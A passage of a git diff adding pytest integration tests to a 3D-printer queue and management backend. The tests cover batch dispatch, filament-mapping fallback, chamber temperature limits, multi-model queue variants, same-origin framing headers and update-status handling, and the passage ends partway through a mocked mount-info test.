+        assert result["remaining_count"] == 5
+
+    async def test_dispatch_can_target_a_single_plate(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 2}, {"plate_id": 2, "quantity_target": 2}],
+        )
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=2)
+
+        result = (
+            await async_client.post(
+                f"/api/v1/queue/batches/{order['id']}/dispatch",
+                json={"plate_id": 2, "only_plate": True},
+            )
+        ).json()
+        plate_one = next(p for p in result["plates"] if p["plate_id"] == 1)
+        plate_two = next(p for p in result["plates"] if p["plate_id"] == 2)
+        assert plate_one["remaining"] == 1
+        assert plate_two["remaining"] == 0
+
+    async def test_dispatch_without_a_reference_item_is_rejected(self, async_client, archive_factory):
+        """Nothing to clone means no configuration to copy — say so, don't guess."""
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 4, "quantity_target": 2}])
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 400
+        assert "no queued or finished run" in response.json()["detail"]
+
+    async def test_dispatch_on_legacy_batch_is_a_noop(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{batch_id}/dispatch", json={})).json()
+        assert result["pending_count"] == 2
+
+    async def test_cannot_dispatch_a_cancelled_order(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 3}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await async_client.delete(f"/api/v1/queue/batches/{order['id']}")
+
+        response = await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})
+        assert response.status_code == 400
+        assert "cancelled" in response.json()["detail"]
+
+    async def test_redispatch_after_failure_replaces_the_burned_run(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """End to end: 2 wanted, 1 completes, 1 fails, dispatch queues the replacement."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "failed")
+
+        result = (await async_client.post(f"/api/v1/queue/batches/{order['id']}/dispatch", json={})).json()
+        assert result["pending_count"] == 1
+        assert result["remaining_count"] == 0
+        assert result["status"] == "active"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderHeader:
+    async def test_header_fields_round_trip(self, async_client, archive_factory):
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 1}],
+            due_date="2026-09-01T12:00:00",
+            notes="Rush job",
+        )
+        assert order["notes"] == "Rush job"
+        assert order["due_date"].startswith("2026-09-01T12:00:00")
+
+        patched = (
+            await async_client.patch(
+                f"/api/v1/queue/batches/{order['id']}", json={"name": "Renamed", "notes": "Updated"}
+            )
+        ).json()
+        assert patched["name"] == "Renamed"
+        assert patched["notes"] == "Updated"
+
+    async def test_unknown_project_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Order",
+                "archive_id": archive.id,
+                "project_id": 999999,
+                "plates": [{"plate_id": 1, "quantity_target": 1}],
+            },
+        )
+        assert response.status_code == 404
+
+    async def test_patch_replaces_the_target_set(self, async_client, archive_factory):
+        """A plate omitted from the payload has its target row removed."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 1}, {"plate_id": 2, "quantity_target": 1}],
+        )
+        patched = (
+            await async_client.patch(
+                f"/api/v1/queue/batches/{order['id']}",
+                json={"plates": [{"plate_id": 1, "quantity_target": 5}]},
+            )
+        ).json()
+        assert [p["plate_id"] for p in patched["plates"]] == [1]
+        assert patched["target_count"] == 5
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderCost:
+    async def test_cost_rolls_up_from_logged_runs(self, async_client, printer_factory, archive_factory, db_session):
+        """Cost is attributed through queue_item_id, not guessed from the archive."""
+        from backend.app.models.print_log import PrintLogEntry
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 4}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "completed")
+
+        db_session.add(
+            PrintLogEntry(
+                archive_id=archive.id,
+                queue_item_id=first["id"],
+                status="completed",
+                cost=2.0,
+                energy_cost=0.5,
+                filament_used_grams=40.0,
+            )
+        )
+        db_session.add(
+            PrintLogEntry(
+                archive_id=archive.id,
+                queue_item_id=second["id"],
+                status="completed",
+                cost=3.0,
+                energy_cost=0.5,
+                filament_used_grams=60.0,
+            )
+        )
+        # A run of the same archive that has nothing to do with this order.
+        db_session.add(PrintLogEntry(archive_id=archive.id, queue_item_id=None, status="completed", cost=99.0))
+        await db_session.commit()
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["actual_cost"] == pytest.approx(6.0)
+        assert result["filament_used_grams"] == pytest.approx(100.0)
+        # Two completed at 3.00 each, two still owed.
+        assert result["estimated_remaining_cost"] == pytest.approx(6.0)
+
+    async def test_cost_is_unknown_not_zero_before_the_first_run(self, async_client, printer_factory, archive_factory):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["actual_cost"] is None
+        assert result["estimated_remaining_cost"] is None

+ 205 - 0
backend/tests/integration/test_print_queue_api.py

@@ -438,6 +438,211 @@ class TestPrintQueueAPI:
         assert result["archive_id"] == archive.id
         assert result["archive_id"] == archive.id
         assert result["ams_mapping"] == [5, -1, 2, -1]
         assert result["ams_mapping"] == [5, -1, 2, -1]
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_falls_back_to_archive_slicer_ams_mapping_when_unset(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """When the caller sends no explicit ams_mapping, but the archive
+        carries the slicer's own saved pick for this exact printer
+        (extra_data.slicer_ams_mapping, written by a VP with "Save AMS
+        mapping" on), the queue item should inherit it — the same
+        exact-physical-spool reuse the "Mapping" button gives you, but
+        automatic when nothing was hand-edited.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [5, -1, 2, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_ignores_archive_slicer_ams_mapping_for_different_printer(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """A saved mapping's tray IDs only mean something relative to the
+        printer they were resolved against. Reprinting the same archive on a
+        *different* printer must not inherit it — tray 5 on printer A can
+        hold a completely different spool than tray 5 on printer B.
+        """
+        origin_printer = await printer_factory()
+        other_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        data = {
+            "printer_id": other_printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_ignores_archive_slicer_ams_mapping_for_model_based_dispatch(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """A model-based item (no fixed printer_id) can't know in advance
+        which printer the scheduler will pick, so a saved mapping resolved
+        against one specific printer must never be inherited here either.
+        """
+        origin_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        data = {
+            "target_model": "X1C",
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_explicit_ams_mapping_wins_over_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """An explicit ams_mapping in the request (e.g. from the filament
+        mapping panel) must take priority over the archive's saved slicer
+        pick — the fallback only fires when the caller sent nothing at all.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "ams_mapping": [9, -1, 1, -1],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [9, -1, 1, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_archive_extra_data_without_slicer_mapping_key_not_used(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """extra_data present but without a slicer_ams_mapping key (the
+        common case — most archives have other metadata but no saved slicer
+        mapping) must not accidentally trip the fallback."""
+        printer = await printer_factory()
+        archive = await archive_factory(extra_data={"filament_slots": []})
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_force_color_match_overrides_beat_the_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """Force-color-match overrides are the caller asking the scheduler to
+        match strictly against the printer's live trays, and they are only ever
+        applied inside `_compute_ams_mapping_for_printer` — the function a
+        stored mapping makes the scheduler skip. Inheriting the saved mapping
+        here would silently retire the strictness that was just requested
+        (#2700 review).
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "filament_overrides": [
+                {"slot_id": 1, "type": "PLA", "color": "#FF0000", "force_color_match": True},
+            ],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] is None
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_to_queue_plain_overrides_still_allow_the_archive_fallback(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """Only force_color_match stands the fallback down. A plain preference
+        override is a filament swap, not a request for live colour matching, so
+        the saved mapping is still the best starting point.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": printer.id}}
+        )
+
+        data = {
+            "printer_id": printer.id,
+            "archive_id": archive.id,
+            "filament_overrides": [{"slot_id": 1, "type": "PLA", "color": "#FF0000"}],
+        }
+        response = await async_client.post("/api/v1/queue/", json=data)
+        assert response.status_code == 200
+        result = response.json()
+        assert result["ams_mapping"] == [5, -1, 2, -1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_queue_response_flags_saved_mapping_only_for_its_own_printer(
+        self, async_client: AsyncClient, printer_factory, archive_factory, db_session
+    ):
+        """`archive_has_slicer_ams_mapping` drives a badge that claims the
+        print reuses the slicer's exact trays. Global tray IDs mean nothing on
+        another printer, so the flag must be false for a row targeting one —
+        otherwise the badge is there while nothing is reused (#2700 review).
+        """
+        origin_printer = await printer_factory()
+        other_printer = await printer_factory()
+        archive = await archive_factory(
+            extra_data={"slicer_ams_mapping": {"mapping": [5, -1, 2, -1], "printer_id": origin_printer.id}}
+        )
+
+        own = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": origin_printer.id, "archive_id": archive.id}
+        )
+        assert own.status_code == 200
+        assert own.json()["archive_has_slicer_ams_mapping"] is True
+
+        foreign = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": other_printer.id, "archive_id": archive.id}
+        )
+        assert foreign.status_code == 200
+        assert foreign.json()["archive_has_slicer_ams_mapping"] is False
+
+        # Model-based: the scheduler hasn't picked a printer yet, so the
+        # mapping is not reused there either.
+        model_based = await async_client.post("/api/v1/queue/", json={"target_model": "X1C", "archive_id": archive.id})
+        assert model_based.status_code == 200
+        assert model_based.json()["archive_has_slicer_ams_mapping"] is False
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     @pytest.mark.integration
     @pytest.mark.integration
     async def test_add_to_queue_with_plate_id(
     async def test_add_to_queue_with_plate_id(

+ 18 - 0
backend/tests/integration/test_printers_api.py

@@ -3840,6 +3840,24 @@ class TestSetChamberTemperatureAPI:
         response = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=100")
         response = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=100")
         assert response.status_code == 422
         assert response.status_code == 422
 
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_ceiling_is_65_not_60(self, async_client: AsyncClient, printer_factory):
+        """The H2 series heats the chamber to 65 °C — 65 must be accepted and
+        66 rejected. The route used to cap at 60, which put the top of the H2D
+        range out of reach."""
+        printer = await printer_factory(name="P", model="H2D")
+        mock_client = MagicMock()
+        mock_client.set_chamber_temperature.return_value = True
+        with patch("backend.app.api.routes.printers.printer_manager") as mock_pm:
+            mock_pm.get_client.return_value = mock_client
+            accepted = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=65")
+        assert accepted.status_code == 200
+        mock_client.set_chamber_temperature.assert_called_once_with(65)
+
+        rejected = await async_client.post(f"/api/v1/printers/{printer.id}/temperature/chamber?target=66")
+        assert rejected.status_code == 422
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     @pytest.mark.integration
     @pytest.mark.integration
     async def test_client_failure_returns_500(self, async_client: AsyncClient, printer_factory):
     async def test_client_failure_returns_500(self, async_client: AsyncClient, printer_factory):

+ 297 - 0
backend/tests/integration/test_queue_variants_api.py

@@ -0,0 +1,297 @@
+"""Queueing a job with cross-model alternatives (#671).
+
+One queue item, several sliced files, whichever printer frees up first. The
+create endpoint's job is to refuse candidate sets that cannot mean what the user
+intends, because after this point the scheduler dispatches to hardware with no
+human in the loop.
+"""
+
+import pytest
+from httpx import AsyncClient
+from sqlalchemy import select
+
+
+@pytest.fixture
+async def sliced_file_factory(db_session):
+    _counter = [0]
+
+    async def _create(model: str | None = "H2S", **kwargs):
+        from backend.app.models.library import LibraryFile
+
+        _counter[0] += 1
+        defaults = {
+            "filename": f"job_{_counter[0]}.gcode.3mf",
+            "file_path": f"/test/job_{_counter[0]}.gcode.3mf",
+            "file_size": 100,
+            "file_type": "gcode.3mf",
+            "file_metadata": {"sliced_for_model": model} if model else {},
+        }
+        defaults.update(kwargs)
+        f = LibraryFile(**defaults)
+        db_session.add(f)
+        await db_session.commit()
+        await db_session.refresh(f)
+        return f
+
+    return _create
+
+
+async def _queue_variants(client: AsyncClient, *file_ids: int, **extra):
+    payload = {"variants": [{"library_file_id": fid} for fid in file_ids]}
+    payload.update(extra)
+    return await client.post("/api/v1/queue/", json=payload)
+
+
+async def _variants_of(db_session, item_id: int):
+    from backend.app.models.print_queue import PrintQueueVariant
+
+    rows = (
+        (
+            await db_session.execute(
+                select(PrintQueueVariant)
+                .where(PrintQueueVariant.queue_item_id == item_id)
+                .order_by(PrintQueueVariant.position)
+            )
+        )
+        .scalars()
+        .all()
+    )
+    return rows
+
+
+class TestQueueWithVariants:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_creates_one_item_with_a_candidate_per_file(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 200
+        item_id = r.json()["id"]
+
+        variants = await _variants_of(db_session, item_id)
+        assert [v.target_model for v in variants] == ["H2S", "H2C"]
+        assert [v.position for v in variants] == [0, 1]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_the_item_holds_no_file_of_its_own(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """library_file_id is ON DELETE CASCADE. Pointing it at one candidate
+        would mean deleting that single alternative destroys the whole job."""
+        from backend.app.models.print_queue import PrintQueueItem
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+        item = (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.id == item_id))).scalar_one()
+        assert item.library_file_id is None
+        assert item.archive_id is None
+        assert item.target_model == "H2S", "mirrors the first candidate so the card has a label"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_one_candidate_leaves_the_job_and_its_sibling(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        from backend.app.models.print_queue import PrintQueueItem
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        # Trash, then permanently delete — the only path that actually removes
+        # the row. SQLite has PRAGMA foreign_keys off, so nothing cleans the
+        # candidate up on its own.
+        assert (await async_client.delete(f"/api/v1/library/files/{h2s.id}")).status_code == 200
+        assert (await async_client.delete(f"/api/v1/library/trash/{h2s.id}")).status_code == 200
+
+        item = (
+            await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.id == item_id))
+        ).scalar_one_or_none()
+        assert item is not None, "the job survives losing one alternative"
+        remaining = await _variants_of(db_session, item_id)
+        assert [v.target_model for v in remaining] == ["H2C"], "no row left pointing at a deleted file"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_specific_printer(self, async_client, sliced_file_factory, printer_factory):
+        """Naming a printer defeats the entire purpose of offering alternatives."""
+        printer = await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, printer_id=printer.id)
+        assert r.status_code == 400
+        assert "printer_id" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_a_file_alongside_the_variants(self, async_client, sliced_file_factory, printer_factory):
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        other = await sliced_file_factory("H2D")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, library_file_id=other.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_two_candidates_for_the_same_printer(
+        self, async_client, sliced_file_factory, printer_factory
+    ):
+        await printer_factory(model="H2S")
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2S")
+
+        r = await _queue_variants(async_client, a.id, b.id)
+        assert r.status_code == 400
+        assert "different printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejects_the_same_file_twice(self, async_client, sliced_file_factory, printer_factory):
+        await printer_factory(model="H2S")
+        f = await sliced_file_factory("H2S")
+
+        r = await _queue_variants(async_client, f.id, f.id)
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_cross_model_gate_applies_to_every_candidate(
+        self, async_client, sliced_file_factory, printer_factory
+    ):
+        """A set is only as safe as its worst member."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        good = await sliced_file_factory("H2S")
+        # Declares X1C but is offered as an H2C candidate.
+        bad = await sliced_file_factory("X1C")
+
+        r = await async_client.post(
+            "/api/v1/queue/",
+            json={
+                "variants": [
+                    {"library_file_id": good.id},
+                    {"library_file_id": bad.id, "target_model": "H2C"},
+                ]
+            },
+        )
+        assert r.status_code == 400
+        assert "sliced for X1C" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_one_candidate_without_a_printer_is_allowed(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """Slicing for the H2C before the H2C arrives is reasonable. Refusing the
+        whole queue action over it would be worse than that candidate simply
+        never matching."""
+        await printer_factory(model="H2S")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 200
+        assert len(await _variants_of(db_session, r.json()["id"])) == 2
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_rejected_when_no_candidate_has_a_printer(self, async_client, sliced_file_factory):
+        """Nothing in the set can ever run — that is a job that waits forever."""
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id)
+        assert r.status_code == 400
+        assert "No active printers" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_assigning_a_printer_is_refused(self, async_client, db_session, sliced_file_factory, printer_factory):
+        """The edit dialog offers a printer picker for every queue item. Taking it
+        would leave a row with variants AND a printer_id — and the fixed-printer
+        branch of the scheduler wins that race, dispatching a row whose
+        library_file_id is still null."""
+        printer = await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/queue/{item_id}", json={"printer_id": printer.id})
+        assert r.status_code == 400
+        assert "alternatives" in r.json()["detail"]
+
+        assert len(await _variants_of(db_session, item_id)) == 2, "the alternatives survive the refusal"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_narrowing_to_one_model_is_refused(self, async_client, sliced_file_factory, printer_factory):
+        """Saving "Any H2C" over a two-candidate job would silently discard the
+        H2S alternative the user deliberately queued."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        item_id = (await _queue_variants(async_client, h2s.id, h2c.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/queue/{item_id}", json={"target_model": "H2C"})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_resending_the_unchanged_model_is_allowed(self, async_client, sliced_file_factory, printer_factory):
+        """The edit dialog re-sends target_model on every save, so an unchanged
+        value must not block editing the schedule or print options."""
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+        created = (await _queue_variants(async_client, h2s.id, h2c.id)).json()
+
+        r = await async_client.patch(
+            f"/api/v1/queue/{created['id']}",
+            json={"target_model": created["target_model"], "timelapse": True},
+        )
+        assert r.status_code == 200
+        assert r.json()["timelapse"] is True
+        assert len(r.json()["variants"]) == 2, "the response still carries the alternatives"
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_quantity_gives_each_copy_its_own_candidates(
+        self, async_client, db_session, sliced_file_factory, printer_factory
+    ):
+        """Attempt counts are per-item, and two copies must be free to land on
+        different printers."""
+        from backend.app.models.print_queue import PrintQueueItem, PrintQueueVariant
+
+        await printer_factory(model="H2S")
+        await printer_factory(model="H2C")
+        h2s = await sliced_file_factory("H2S")
+        h2c = await sliced_file_factory("H2C")
+
+        r = await _queue_variants(async_client, h2s.id, h2c.id, quantity=3)
+        assert r.status_code == 200
+
+        item_ids = (await db_session.execute(select(PrintQueueItem.id))).scalars().all()
+        assert len(item_ids) == 3
+        total = (await db_session.execute(select(PrintQueueVariant))).scalars().all()
+        assert len(total) == 6

+ 37 - 0
backend/tests/integration/test_security_headers.py

@@ -112,6 +112,43 @@ async def test_default_headers_strict(async_client: AsyncClient, monkeypatch):
     assert "frame-ancestors 'none'" in resp.headers.get("Content-Security-Policy", "")
     assert "frame-ancestors 'none'" in resp.headers.get("Content-Security-Policy", "")
 
 
 
 
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_overlay_route_allows_same_origin_framing(async_client: AsyncClient, monkeypatch):
+    """#1422 — the overlay is framed same-origin by the URL builder's preview.
+
+    'none' blocks that too, which is why the preview showed Firefox's "will not
+    allow Firefox to display the page if another site has embedded it". 'self'
+    permits only a framer on this origin — Bambuddy's own UI — so a
+    clickjacking page on another host is refused exactly as before.
+    """
+    from backend.app import main as main_module
+
+    monkeypatch.setattr(main_module, "_TRUSTED_FRAME_ORIGINS", ())
+
+    resp = await async_client.get("/overlay/1")
+    csp = resp.headers.get("Content-Security-Policy", "")
+    assert "frame-ancestors 'self';" in csp
+    # The legacy header already permitted same-origin framing; only the CSP was
+    # blocking it. Assert it still says so rather than being dropped.
+    assert resp.headers.get("X-Frame-Options") == "SAMEORIGIN"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_other_spa_routes_still_refuse_all_framing(async_client: AsyncClient, monkeypatch):
+    """The #1422 carve-out is the overlay path only — everything else keeps
+    'none', including paths that merely start with something similar."""
+    from backend.app import main as main_module
+
+    monkeypatch.setattr(main_module, "_TRUSTED_FRAME_ORIGINS", ())
+
+    for path in ("/", "/settings", "/printers", "/overlays", "/camwall"):
+        resp = await async_client.get(path)
+        csp = resp.headers.get("Content-Security-Policy", "")
+        assert "frame-ancestors 'none'" in csp, f"{path} must not be framable"
+
+
 @pytest.mark.asyncio
 @pytest.mark.asyncio
 @pytest.mark.integration
 @pytest.mark.integration
 async def test_trusted_origins_relaxes_csp_and_drops_xfo(async_client: AsyncClient, monkeypatch):
 async def test_trusted_origins_relaxes_csp_and_drops_xfo(async_client: AsyncClient, monkeypatch):

+ 159 - 1
backend/tests/integration/test_updates_api.py

@@ -1,13 +1,31 @@
 """Integration tests for Updates API endpoints."""
 """Integration tests for Updates API endpoints."""
 
 
 from pathlib import Path
 from pathlib import Path
-from unittest.mock import AsyncMock, MagicMock, patch
+from unittest.mock import AsyncMock, MagicMock, mock_open, patch
 
 
 import pytest
 import pytest
 from httpx import AsyncClient
 from httpx import AsyncClient
 
 
 
 
 class TestUpdatesAPI:
 class TestUpdatesAPI:
+    @pytest.fixture(autouse=True)
+    def _reset_update_status(self):
+        """Isolate the module-global ``_update_status`` between tests.
+
+        ``POST /updates/apply`` short-circuits (line 850) when ``_update_status``
+        is ``"downloading"``/``"installing"``, returning a payload WITHOUT the
+        per-branch keys (``is_windows_installer`` etc.). A prior test that let an
+        apply flow run leaves the global mid-update, so a later test in the same
+        parallel worker hits the guard instead of its intended branch. This is
+        order-dependent — it passes locally but flakes on CI's sharded run
+        (``test_apply_update_windows_installer_rejection`` KeyError). Reset to
+        idle before every test so the guard never fires spuriously.
+        """
+        from backend.app.api.routes import updates as updates_module
+
+        updates_module._update_status = {"status": "idle", "progress": 0, "message": "", "error": None}
+        yield
+
     @pytest.mark.asyncio
     @pytest.mark.asyncio
     async def test_get_version(self, async_client: AsyncClient):
     async def test_get_version(self, async_client: AsyncClient):
         response = await async_client.get("/api/v1/updates/version")
         response = await async_client.get("/api/v1/updates/version")
@@ -778,3 +796,143 @@ class TestUpdatesAPI:
         assert body["update_method"] == "windows_installer"
         assert body["update_method"] == "windows_installer"
         assert body["is_windows_installer"] is True
         assert body["is_windows_installer"] is True
         assert body["installer_download_url"].endswith("bambuddy-999.9.9-windows-x64-setup.exe")
         assert body["installer_download_url"].endswith("bambuddy-999.9.9-windows-x64-setup.exe")
+
+    # --- Compose directory detection (#2664, reporter pchulpjoost) ---
+    # `docker compose pull` only works from the directory holding the compose
+    # file, so the update box's command was unusable until the user remembered
+    # where that was. Compose stamps the answer onto every container it
+    # creates, but reading your own labels needs the Docker socket — a
+    # root-equivalent mount, not worth it for a convenience string. So the
+    # host side of a bind mount in /proc/self/mountinfo is inferred instead.
+
+    def _mountinfo(self, *lines: str):
+        """Patch /proc/self/mountinfo with the given raw lines."""
+        return patch("builtins.open", mock_open(read_data="".join(f"{line}\n" for line in lines)))
+
+    def test_compose_dir_inferred_from_bind_mount(self):
+        """`./data:/app/data` surfaces as the host path; its parent is the
+        compose directory."""
